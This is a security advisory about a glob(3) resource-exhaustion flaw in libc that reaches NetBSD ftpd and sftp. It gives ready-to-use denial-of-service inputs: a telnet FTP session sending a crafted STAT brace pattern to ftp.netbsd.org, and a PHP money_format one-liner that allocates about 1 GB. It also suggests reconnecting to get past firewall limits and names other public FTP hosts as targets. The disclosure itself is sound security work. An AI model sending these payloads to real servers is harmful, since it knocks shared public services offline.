    #include <glob.h>
    
    int glob(const char *pattern, int flags,
    int (*errfunc)(const char *epath, int eerrno), glob_t *pglob);
    
    Description
    
    This function expands a filename wildcard which is passed as pattern.
    
    GLOB_LIMIT Limit the amount of memory used by matches to
    ARG_MAX.
    This option should be set for programs that can be
    coerced to a denial of service attack via patterns
    that
    expand to a very large number of matches, such as a
    long
    string of */../*/..
    
    
    - --- 1. Multiple Vendors libc/glob(3) resource exhaustion ---
    As we can read in definition GLOB_LIMIT:
    
    - --
    Limit the amount of memory used by matches to ARG_MAX. This option should
    be set for programs that can be coerced to a denial of service attack via
    patterns that expand to a very large number of mat
    ches, such as a long string of */../*/..
    - ---
    
    but now is comming question "what will happen when we use */.. without
    matching any results (simple searching)?" GLOB_LIMIT will be not
    overflowed. To realize it, we need only use pattern with many
    */.. and many inodes in current directory. On the end of pattern, we need
    add some not existed filename (like /cxib*).
    If we don't have many files or directories in attacked direcotry, we need
    create some dir-structure.
    
    Let's see again:
    http://cvsweb.netbsd.org/bsdweb.cgi/src/libexec/ftpd/ftpd.c?rev=1.61.2.5&co
    ntent-type=text/x-cvsweb-markup
    
    GLOB_LIMIT
    
    protect us before attacks like
    
    */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*
    
    because glob will find more patches as in GLOB_LIMIT declared. Anyway, if
    we use path what do not exists (with */.. strings) like
    
    */../*/../*/../*/../*/../*/../*/../*/../*/../*/../*/../*blablahaha
    
    GLOB_LIMIT will be never overflowed. Many combinations of paths, will
    execute this proces a long time. We can also try allocate
    (GLOB_LIMIT-1)*MAXPATHNAMELEN bytes per one process. ~200~300MB
    
    Example:
    > telnet ftp.netbsd.org 21
    Trying 204.152.190.15...
    Connected to ftp.netbsd.org.
    Escape character is '^]'.
    220 ftp.NetBSD.org FTP server (NetBSD-ftpd 20100320) ready.
    user anonymous
    331 Guest login ok, type your name as password.
    pass anon@cxib

    stat

    /*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx
    
    
    this request will generate 100% usage of process a long time. ftpd come
    into glob(3) and will not fast out. Very similar sympthon was described in
    vulnerability for glibc strfmon(3)
    
    - - http://securityreason.com/achievement_securityalert/67 --
    ...
    Interesting is that the PHP memory_limit has no control over what will
    happens in the level of the libc. Function strfmon(3) can allocate a lot
    of
    data in memory without control by PHP memory_limit.
    
    For example:
    php -r 'money_format("%.1343741821i",1);'
    
    will allocate ~1049MB real memory.
    memory_limit can be less that 1049M
    ...
    - - http://securityreason.com/achievement_securityalert/67 --
    
    ftpd also dosen't control what will happen in libc.
    
    so it is enough to send
    - ---
    USER anonymous
    PASS
    STAT */..[calculated pattern]
    - ---
    
    and disconnect to connect again (bypass firewall limits). In php we can
    also bypass max_memory_limit by libc vulns.
    
    Attacking machine in this way, we can call the various side effects.

    Presented issue in localized libc, not in ftpd. Try use
    {..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}
    /*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*/{..,..,..}/*cx
    
    in ksh, openssh (sftp-server). sftp is also vulnerable. but they will kill
    children process after disconnect.
    
    "What is wrong?",
    
    libc has no control over the computing power glob(3), good fix for this
    issue, should control, how many times glob(3) will call to
    *readdirfunc(),stat(2) and reducing memory usage.
    
    - -glob.c---
    ...
    static int
    glob3(Char *pathbuf, Char *pathend, Char *pathlim, Char *pattern,
    Char *restpattern, glob_t *pglob, size_t *limit)
    {
    struct dirent *dp;
    DIR *dirp;
    int error;
    char buf[MAXPATHLEN];
    
    /*
    * The readdirfunc declaration can't be prototyped, because it is
    * assigned, below, to two functions which are prototyped in
    glob.h
    * and dirent.h as taking pointers to differently typed opaque
    * structures.
    */
    struct dirent *(*readdirfunc)(void *);
    ...
    /*
    * Loop over pattern segments until end of pattern or until
    * segment with meta character found.
    */
    for (anymeta = 0;;) {
    if (*pattern == EOS) { /* End of pattern? */
    *pathend = EOS;
    if (g_lstat(pathbuf, &sb, pglob)) <========= LIMIT
    THIS CALL ===
    return 0;
    
    if (((pglob->gl_flags & GLOB_MARK) &&
    ...
    
    if ((dirp = g_opendir(pathbuf, pglob)) == NULL) {
    if (pglob->gl_errfunc) {
    ...
    /* Search directory for matching names. */
    if (pglob->gl_flags & GLOB_ALTDIRFUNC)
    readdirfunc = pglob->gl_readdir;
    else
    readdirfunc = (struct dirent *(*)__P((void *))) readdir;
    while ((dp = (*readdirfunc)(dirp)) != NULL) { <============= LIMIT
    THIS CALL ===
    ...
    - -glob.c---
    
    As we can see, glob3() will call to (*readdirfunc)() and back to glob2().
    glob2() will come again in glob3()... we need try control, how many times
    glob will call to (*readdirfunc)() and stat().
    Fix created together with NetBSD devs, should fix this problem.
    
    
    - --- 2. 0day PoC ---
    To sucessfully attack, we need calculate pattern. I am not going show, how
    to optimal calulate pattern.
    With similar PoC we can try attack ftp.adobe.com, ftp.openbsd.org etc.
